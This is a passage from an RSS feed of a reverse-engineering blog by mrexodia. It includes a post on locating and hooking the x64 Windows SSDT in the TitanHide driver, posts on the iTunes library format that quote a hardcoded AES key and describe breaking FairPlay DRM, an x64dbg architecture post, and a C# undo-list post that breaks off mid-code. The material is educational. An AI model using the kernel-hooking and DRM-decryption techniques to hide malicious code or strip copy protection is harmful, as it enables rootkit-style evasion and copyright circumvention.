&lt;p&gt;On x32 versions of the operating system the SSDT structure is exported under the name &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KeServiceDescriptorTable&lt;/code&gt; by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntoskrnl.exe&lt;/code&gt;, which makes SSDT hooks really easy to implement.&lt;/p&gt;

&lt;p&gt;On x64 versions of the operating system SSDT hooking becomes much harder. There are two reasons for this. The first reason is that the SSDT is no longer exported by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntoskrnl.exe&lt;/code&gt;, which means TitanHide must use different ways to find the SSDT. The other reason is that the SSDT no longer uses direct pointers, but offsets relative to the start of the SSDT. This means our hooks cannot be located too far from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntoskrnl&lt;/code&gt; memory region.&lt;/p&gt;

&lt;h3 id=&quot;locating-the-ssdt-on-x64&quot;&gt;Locating the SSDT on x64&lt;/h3&gt;

&lt;p&gt;After lots of searching around I found someone who discovered a semi-reliable way of locating the SSDT on x64 (I tested this method on Windows XP x64 - Windows 8.1 x64 with success). Read the original post &lt;a href=&quot;https://code.google.com/p/volatility/issues/detail?id=189#c2&quot;&gt;here&lt;/a&gt;. For the purpose of this post I will line out the basics here, supported with some code.&lt;/p&gt;

&lt;p&gt;An exported function called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KeAddSystemServiceTable&lt;/code&gt; has a reference to the RVA of the SSDT. To find this RVA, TitanHide uses the following code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/*
000000014050EA4A 48 C1 E0 05                shl rax, 5
000000014050EA4E 48 83 BC 18 80 3A 36 00 00 cmp qword ptr [rax+rbx+363A80h], 0 &amp;lt;- we are looking for this instruction
000000014050EA57 0F 85 B2 5C 0A 00          jnz loc_1405B470F
000000014050EA5D 48 8D 8B C0 3A 36 00       lea rcx, rva KeServiceDescriptorTableShadow[rbx]
000000014050EA64 48 03 C8                   add rcx, rax
000000014050EA67 48 83 39 00                cmp qword ptr [rcx], 0
*/
int rvaSSDT = 0;
for (unsigned int i = 0; i &amp;lt; function_size; i++)
{
    if (((*(unsigned int*)(function + i)) &amp;amp; 0x00FFFFF0) == 0xBC8340 &amp;amp;&amp;amp; //4?83bc??
        !*(unsigned char*)(function + i + 8)) //???????? 00 
    { //cmp qword ptr [r?+r?+????????h], 0
        rvaSSDT = *(int*)(function + i + 4);
        break;
    }
}
SSDT = (SSDTStruct*)((ULONG_PTR)GetKernelBase() + rvaSSDT);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Locating the SSDT on Windows 10 Technical Preview is a little trickier, but still possible:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/*
Windows 10 Technical Preview:
fffff800e21b30ec 757f             jne nt!KeAddSystemServiceTable+0x91 (fffff800e21b316d)
fffff800e21b30ee 48833deafee4ff00 cmp qword ptr [nt!KeServiceDescriptorTable+0x20 (fffff800e2002fe0)],0 &amp;lt;- we are looking for this instruction
fffff800e21b30f6 7575             jne nt!KeAddSystemServiceTable+0x91 (fffff800e21b316d)
fffff800e21b30f8 48833da0fee4ff00 cmp qword ptr [nt!KeServiceDescriptorTableShadow+0x20 (fffff800e2002fa0)],0
fffff800e21b3100 756b             jne nt!KeAddSystemServiceTable+0x91 (fffff800e21b316d)
*/
int rvaFound = -1;
int rvaSSDT = 0;
for (unsigned int i = 0; i &amp;lt; function_size; i++)
{
    if (((*(unsigned int*)(function + i)) &amp;amp; 0x00FFFFFF) == 0x3D8348 &amp;amp;&amp;amp; //48833d
        !*(unsigned char*)(function + i + 7)) //???????? 00
    { //cmp qword ptr [?],0
        rvaFound = i;
        rvaSSDT = *(int*)(function + i + 3);
        break;
    }
}
//Calculate the actual address (rvaSSDT is a RIP-relative offset)
SSDT = (SSDTStruct*)((ULONG_PTR)KeASST + rvaFound + rvaSSDT + 8 - 0x20);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;hooking-the-ssdt-on-x64&quot;&gt;Hooking the SSDT on x64&lt;/h3&gt;

&lt;p&gt;In order to make sure the new function pointers ‘fit’ into the SSDT, I created a function called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FindCaveAddress&lt;/code&gt;. That looks for compiler-generated padding, usually found around functions. It searched for a certain number of padding bytes and when found, a hook stub like this is inserted:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov rax, NewFunctionPointer
push rax
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;These stubs redirect the instruction pointer to our hooked function, making things really easy.&lt;/p&gt;

&lt;h2 id=&quot;ssdt-function-index&quot;&gt;SSDT Function Index&lt;/h2&gt;

&lt;p&gt;Every function in the SSDT has an index, there are websites such as &lt;a href=&quot;http://j00ru.vexillium.org/ntapi_64&quot;&gt;this one&lt;/a&gt; that list the all Nt* functions and their index, but hardcoding everything for every possible OS is tedious and error-prone work so I wrote a function to heuristically find an SSDT index for an exported &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntdll.dll&lt;/code&gt; function. What is does is reading &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntdll.dll&lt;/code&gt; from disk and then it parses the export table, searching for a function. If the function was found it looks for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov eax, XXXXXXXX&lt;/code&gt;, where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XXXXXXXX&lt;/code&gt; will be the SSDT index. This is based on the fact that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntdll.dll&lt;/code&gt; stubs look pretty much the same on every version of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntdll.dll&lt;/code&gt; until Windows 8.1:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0000000077EF0E10 | 4C 8B D1       | mov r10,rcx
0000000077EF0E13 | B8 40 00 00 00 | mov eax,40
0000000077EF0E18 | 0F 05          | syscall
0000000077EF0E1A | C3             | ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you are interested in the specifics of this code, take a look at &lt;a href=&quot;https://bitbucket.org/mrexodia/titanhide/src/master/TitanHide/ntdll.cpp&quot;&gt;ntdll.cpp&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This is how you hook a function exported by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntdll.dll&lt;/code&gt; using the current TitanHide codebase:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HOOK hNtQueryInformationProcess = SSDT::Hook(&quot;NtQueryInformationProcess&quot;, (void*)HookNtQueryInformationProcess);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s right, only one line of code to do any SSDT hook you want!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I hope you found this blogpost interesting, if you have any remarks, feel free to post them in the comments or send them to me.&lt;/p&gt;

&lt;p&gt;Enjoy,&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/reversing/2015/02/05/TitanHide</link>
                <guid>https://mrexodia.github.io/reversing/2015/02/05/TitanHide</guid>
                <pubDate>2015-02-05T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Itubes Library Format 2</title>
                <description>
&lt;p&gt;A few days ago I wrote some things about the iTunes library file format. Today I will try to write the remainder about this subject.&lt;/p&gt;

&lt;h2 id=&quot;a-small-recap&quot;&gt;A small recap&lt;/h2&gt;

&lt;p&gt;In the previous post I discussed the structure of the encrypted file and there should also be enough information for a mediocre programmer to decrypt a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.itl&lt;/code&gt; file by yourself. In this post I will be using a decrypted &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.itl&lt;/code&gt; file.&lt;/p&gt;

&lt;h2 id=&quot;the-base-structure&quot;&gt;The base structure&lt;/h2&gt;

&lt;p&gt;Every &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.itl&lt;/code&gt; file starts with an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hdfm&lt;/code&gt; information header. The approximate format of this header block is documented the &lt;a href=&quot;http://search.cpan.org/~bdfoy/Mac-iTunes/doc/file_format.pod&quot;&gt;older file format from iTunes v1.x - v3.x&lt;/a&gt;. Basically after this everything is the same as in the older file format, except the header ‘names’. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hdsm&lt;/code&gt; now is reversed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msdh&lt;/code&gt;. The whole file is basically build of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msdh&lt;/code&gt; blocks with variable sizes.&lt;/p&gt;

&lt;p&gt;Here is a small screenshot that shows the header and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msdh&lt;/code&gt; blocks:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/itl_header.png&quot; alt=&quot;header&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;structure-of-the-msdh-blocks&quot;&gt;Structure of the ‘msdh’ blocks&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msdh&lt;/code&gt; blocks contain the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;headerLength&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;totalLength&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;blockType&lt;/code&gt; as most important fields. After the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msdh&lt;/code&gt; header, there is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;blockData&lt;/code&gt; that can contain various other types of structures. These structures very often look similar to this C-style structure:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;typedef struct
{
    char signature[4]; //&quot;mlrh&quot; as signature identification.
    int headerLength; //total length of the header.
    char unknown[headerLength - 8]; //structure-specific data.
} mlrh;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A screenshot of how such a grammar looks:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/itl_basic_block_data.png&quot; alt=&quot;basic block structure&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;content-of-the-msdh-blocks&quot;&gt;Content of the ‘msdh’ blocks&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;blockType&lt;/code&gt; field of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msdh&lt;/code&gt; block says something about the contents of the block. The value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4&lt;/code&gt; for example has &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;blockData&lt;/code&gt; that contains a path to the music library, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Users/xxxxxx/Music/iTunes/iTunes%20Media&lt;/code&gt; in my case. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;blockData&lt;/code&gt; can also contain other blocks. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;miah&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mith&lt;/code&gt; blocks for example both contain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mhoh&lt;/code&gt; blocks. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mhoh&lt;/code&gt; blocks are some kind of general-purpose block that can contain a lot of things.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;The basic file format was all I needed to continue fixing requiem, so this it all for now. Maybe I will blog more about my progress later. You can find the grammar &lt;a href=&quot;https://gist.github.com/mrexodia/0e0ddec9460e6aaca43f&quot;&gt;here&lt;/a&gt;, feel free to expand on it and don’t forget to send me the latest version if you do ;)&lt;/p&gt;

&lt;p&gt;Merry Christmas,&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/reversing/2014/12/27/iTubes-Library-Format-2</link>
                <guid>https://mrexodia.github.io/reversing/2014/12/27/iTubes-Library-Format-2</guid>
                <pubDate>2014-12-27T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>X64_dbg From Top To Bottom 1</title>
                <description>
&lt;p&gt;Hello everyone,&lt;/p&gt;

&lt;p&gt;Quite some time ago I started thinking about ways to engage more developers in &lt;a href=&quot;http://x64dbg.com&quot;&gt;x64dbg&lt;/a&gt;. The main problem new developers (in my view of things) have is that x64dbg is &lt;a href=&quot;https://www.openhub.net/p/x64dbg/factoids#FactoidCommentsVeryLow&quot;&gt;poorly documented&lt;/a&gt;. Code documentation is very important in software development but when I started with x64dbg the whole concept of software development was new to me, so I &lt;strong&gt;did not document my code&lt;/strong&gt;. Recently I &lt;a href=&quot;https://github.com/x64dbg/x64dbg/blob/development/Doxyfile&quot;&gt;started documenting the code of x64dbg&lt;/a&gt;, but code documentation is very boring, so I decided to spice it up a little (for myself mainly) with a few blog posts.&lt;/p&gt;

&lt;h2 id=&quot;before-reading&quot;&gt;Before reading&lt;/h2&gt;

&lt;p&gt;Before you start reading this post, I recommend you read up on &lt;a href=&quot;http://bit.ly/1wDh4xs&quot;&gt;Creating a Basic Debugger&lt;/a&gt; and you should know a little about threads. You should also know where to find &lt;a href=&quot;http://source.x64dbg.com&quot;&gt;x64dbg’s source code&lt;/a&gt; in case you want to see more of  the code.&lt;/p&gt;

&lt;h2 id=&quot;the-debug-loop&quot;&gt;The debug loop&lt;/h2&gt;

&lt;p&gt;Technically the debug loop is part of &lt;a href=&quot;https://bitbucket.org/titanengineupdate/titanengine-update&quot;&gt;TitanEngine&lt;/a&gt;, not of x64dbg. The design of the debug loop, however is &lt;strong&gt;very important&lt;/strong&gt; for x64dbg in general, so I will explain it here anyway.&lt;/p&gt;

&lt;p&gt;A basic debug loop looks like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/x64dbg_debug_loop.png&quot; alt=&quot;debug loop&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is also how &lt;a href=&quot;https://bitbucket.org/titanengineupdate/titanengine-update/src/master/TitanEngine/TitanEngine.Debugger.DebugLoop.cpp&quot;&gt;TitanEngine’s debug loop&lt;/a&gt; works. It handles events by calling so-called “Custom Handlers”, which you can register by calling the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetCustomHandler()&lt;/code&gt; function. In addition to calling custom handlers TitanEngine does a lot of housekeeping (like storing information about the threads, modules and breakpoints). It also handles certain exceptions like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;STATUS_SINGLE_STEP&lt;/code&gt; for stepping and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;STATUS_BREAKPOINT&lt;/code&gt; for software breakpoints.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;most important point&lt;/strong&gt; of these custom handlers is the fact that they are part of the debug loop, which means the debug loop won’t continue until the custom handler returns.&lt;/p&gt;

&lt;h2 id=&quot;threading-of-the-debug-loop&quot;&gt;Threading of the debug loop&lt;/h2&gt;

&lt;p&gt;Because the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DebugLoop()&lt;/code&gt; function of TitanEngine does not return until debugging is finished (debuggee termination), it has to be run on a new thread, so we can continue using the GUI while debugging (which is the whole point of the GUI anyway).&lt;/p&gt;

&lt;p&gt;Here is a little image for the overview:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/x64dbg_basic_threads.png&quot; alt=&quot;basic threading&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A block represent a thread;&lt;/li&gt;
  &lt;li&gt;A dashed arrow represents starting a new thread;&lt;/li&gt;
  &lt;li&gt;A red arrow represents thread termination;&lt;/li&gt;
  &lt;li&gt;A circle contains the termination condition.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Main Thread&lt;/code&gt; starts the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Command Thread&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Command Thread&lt;/code&gt; has an architecture similar to the debug loop; it waits for a command, calls a command handler and then starts waiting again.&lt;/p&gt;

&lt;p&gt;When an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InitDebug&lt;/code&gt; command is encountered (see &lt;a href=&quot;http://help.x64dbg.com&quot;&gt;help&lt;/a&gt;), information is obtained about the executable to debug and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debug Thread&lt;/code&gt; is started. This &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debug Thread&lt;/code&gt; contains the debug loop we discussed above.&lt;/p&gt;

&lt;h2 id=&quot;syncing-the-threads&quot;&gt;Syncing the threads&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debug Thread&lt;/code&gt; has to wait in custom handlers until the user tells it to continue (by pressing the run button in the GUI). This is done by a very simple locking system that has three main functions: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lock()&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unlock()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wait()&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wait()&lt;/code&gt; function simply waits while the lock is locked and it works across threads, so when the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debug Thread&lt;/code&gt; is waiting and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Command Thread&lt;/code&gt; calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unlock()&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debug Thread&lt;/code&gt; will continue execution. You can find all this code &lt;a href=&quot;https://github.com/x64dbg/x64dbg/blob/development/src/dbg/threading.cpp&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To provide thread-safe access to certain global variables (like breakpoint/comment/bookmark lists), x64dbg uses a class called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CriticalSectionLocker&lt;/code&gt;. This class can be found in the same file as locking system above.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;That’s all for now, I hope you enjoyed reading this and I will continue to cover various aspects of x64dbg, from the bigger picture, to small interesting details.&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/x64_dbg/2014/12/24/x64_dbg-from-top-to-bottom-1</link>
                <guid>https://mrexodia.github.io/x64_dbg/2014/12/24/x64_dbg-from-top-to-bottom-1</guid>
                <pubDate>2014-12-24T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Itunes Library Format 1</title>
                <description>
&lt;p&gt;Hello everyone,&lt;/p&gt;

&lt;p&gt;More than a month ago I posted about some code I had to write for a project, today it will be about exploring the iTunes Library file format.&lt;/p&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;“Why reverse the iTunes Library format?” you might ask, well it all started with a university project. Basically we’re developing an app for Android/iOS using &lt;a href=&quot;http://xamarin.com&quot;&gt;Xamarin&lt;/a&gt; and since Apple doesn’t like Windows, it is &lt;strong&gt;impossible&lt;/strong&gt; to create/compile/test iOS apps without having access to Mac OS X. I installed a &lt;a href=&quot;http://hackintosh.zone&quot;&gt;hackintosh distribution&lt;/a&gt; to start developing the app.&lt;/p&gt;

&lt;p&gt;One time, when I was browsing iTunes I saw I had 15 euros left on my account, so I decided to buy an eBook I saw on TV. But Apple still hates Windows/Android/Whatever and after I spent my money I discovered it was impossible to read books bought in the iBooks store on a non-iDevice. I tried searching for some DRM removal tools, but there was only one and it didn’t work (it’s called &lt;a href=&quot;https://www.google.com/?#q=requiem+drm&quot;&gt;requiem&lt;/a&gt; by the way).&lt;/p&gt;

&lt;p&gt;Since I like reversing I decided to take on FairPlay (Apple’s DRM) in order to unlock the .epub file so I can read it on my Sony eReader.&lt;/p&gt;

&lt;p&gt;In the process of checking out the &lt;a href=&quot;https://www.google.nl/?#q=requiem-3.3.6-src.zip&quot;&gt;old sources&lt;/a&gt; I discovered that the iTunes Library was read and decrypted, but after that the file format did not match the code anymore. Since the code was made for iTunes v10.x, not v12.x I had to figure out the new library file format.&lt;/p&gt;

&lt;h2 id=&quot;the-past&quot;&gt;The past&lt;/h2&gt;

&lt;p&gt;In the past people tried to reverse the iTunes Library file format, the more notable document is &lt;a href=&quot;http://search.cpan.org/~bdfoy/Mac-iTunes/doc/file_format.pod&quot;&gt;this one&lt;/a&gt;. It’s for iTunes v1.x - v3.x, but it was still useful for me now. Another resource is the previously mentioned &lt;a href=&quot;https://www.google.nl/?#q=requiem-3.3.6-src.zip&quot;&gt;requiem source code&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;getting-started&quot;&gt;Getting started&lt;/h2&gt;

&lt;p&gt;Before we get started I’d like to introduce a very good tool called &lt;a href=&quot;https://www.synalysis.net&quot;&gt;Synalyze It! Pro&lt;/a&gt;. Basically it’s a hex editor, but it’s main feature (for us at least) is the ‘Grammars’ option. Grammers are XML files that describe data structures and when a structure matches with a file, you can see the structure contents and highlight/manipulate the bytes they are mapped to. Reading the documentation is recommended before you continue.&lt;/p&gt;

&lt;p&gt;It might also be useful to note I’m doing everything on Mac OS X (probably iTunes for Windows has the same format, but I didn’t check).&lt;/p&gt;

&lt;p&gt;Now copy the iTunes Library file called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iTunes Library.itl&lt;/code&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/Music/iTunes/&lt;/code&gt; to your documents folder or something and open it up in Synalyze It to start working with it.&lt;/p&gt;

&lt;h2 id=&quot;encryption--zlib&quot;&gt;Encryption + ZLIB&lt;/h2&gt;

&lt;p&gt;In the requiem source code, you can see in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ModifyLib.loadLibrary()&lt;/code&gt; that the iTunes file from v10.x used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AES/ECB/NoPadding&lt;/code&gt; with the key &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BHUILuilfghuila3&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...

// decrypt all full blocks in the body
Key key = new SecretKeySpec(&quot;BHUILuilfghuila3&quot;.getBytes(), &quot;AES&quot;);
Cipher cipher = Cipher.getInstance(&quot;AES/ECB/NoPadding&quot;);
cipher.init(Cipher.DECRYPT_MODE, key);
int crypt_size = (data.length - header_size) &amp;amp; ~0xf;
int max_crypt_size = read32(data, 0x5C);
if (max_crypt_size != 0)
    crypt_size = Math.min(crypt_size, max_crypt_size);
cipher.doFinal(data, header_size, crypt_size, data, header_size);

// un-zip body (ZLIB)
Inflater inflater = new Inflater();
inflater.setInput(data, header_size, data.length - header_size);
byte[] clear_data = new byte[65536];
while (!inflater.finished())
{
    int n = inflater.inflate(clear_data);
    o.write(clear_data, 0, n);
}

...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After reading the &lt;a href=&quot;http://search.cpan.org/~bdfoy/Mac-iTunes/doc/file_format.pod&quot;&gt;older file format from iTunes v1.x - v3.x&lt;/a&gt; and the requiem source it is quite easy to create &lt;a href=&quot;https://gist.github.com/mrexodia/b21b429cdab57fa64e81&quot;&gt;a Grammar for the encrypted file format&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/itunes_1_screenshot.png&quot; alt=&quot;Encrypted iTunes Library&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion-for-now&quot;&gt;Conclusion (for now)&lt;/h2&gt;

&lt;p&gt;Hopefully this was an interesting start. Unfortunately I don’t have enough time to post the full story, but there will be a next post soon (I hope). In the meantime, try modifying the requiem source to output a decrypted iTunes library of your own. This will be required for the next post. Another thing you might want to do it setting up Eclipse with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Makefile&lt;/code&gt; included in the requiem source. This will make dumping the decrypted library a lot easier.&lt;/p&gt;

&lt;p&gt;Till next time,&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/reversing/2014/12/16/iTunes-Library-Format-1</link>
                <guid>https://mrexodia.github.io/reversing/2014/12/16/iTunes-Library-Format-1</guid>
                <pubDate>2014-12-16T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Undolist</title>
                <description>
&lt;p&gt;It’s been two months, but I finally found some time to post something in this blog :)&lt;/p&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;
&lt;p&gt;As a programming exercise for the University we have to create a simple Paint-like program in C#. It has some tools (lines, rectangles, ellipses, text), it must be able to save/load to a custom format that represents the current drawing and it must be able to export to common image formats.&lt;/p&gt;

&lt;p&gt;As representation of the current sketch I use a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List&amp;lt;T&amp;gt;&lt;/code&gt; structure. The objects that were last added to the list are draw ‘above’ objects added previously. A bonus task was to add an Undo/Redo functionality, which I will explain in this post.&lt;/p&gt;

&lt;h2 id=&quot;objectives&quot;&gt;Objectives&lt;/h2&gt;

&lt;p&gt;What I wanted to create was a transparent data structure that could just replace the existing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List&amp;lt;T&amp;gt;&lt;/code&gt; structure, without having to add additional statements to keep the Undo/Redo state. Furthermore the structure should be usable in a wide variety of cases.&lt;/p&gt;

&lt;h2 id=&quot;what-i-did-summary&quot;&gt;What I did (summary)&lt;/h2&gt;

&lt;p&gt;First I created a class that represents the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List&amp;lt;T&amp;gt;&lt;/code&gt; functionality called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UndoList&amp;lt;T&amp;gt;&lt;/code&gt;. This class has a private class called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UndoAction&amp;lt;U&amp;gt;&lt;/code&gt;, which represents something that happened to the original list. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UndoList&amp;lt;T&amp;gt;&lt;/code&gt; class has a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List&amp;lt;UndoAction&amp;lt;T&amp;gt;&amp;gt;&lt;/code&gt; member that represents the stack of changes. To be able to provide a Redo functionality, there is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pointer&lt;/code&gt; member that points to the last change (I will come to this later).&lt;/p&gt;

&lt;h2 id=&quot;undoaction&quot;&gt;UndoAction&lt;/h2&gt;

&lt;p&gt;This class is very simple. It contains the action performed (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ActionType&lt;/code&gt;) and the actual object that was Added/Removed:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;private class UndoAction&amp;lt;U&amp;gt;
{
    public ActionType Type { get; private set; }
    public U Value { get; private set; }

    public UndoAction(ActionType type, U value)
    {
        this.Type = type;
        this.Value = value;
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;undolist&quot;&gt;UndoList&lt;/h2&gt;

&lt;p&gt;This class has to be able to do the simple list operations: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list[i]&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list.Add()&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list.RemoveAt()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List.Clear()&lt;/code&gt;. These functionalities are very easy to implement:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;public void Add(T value)
{
    list.Add(value); //add the value to the actual list
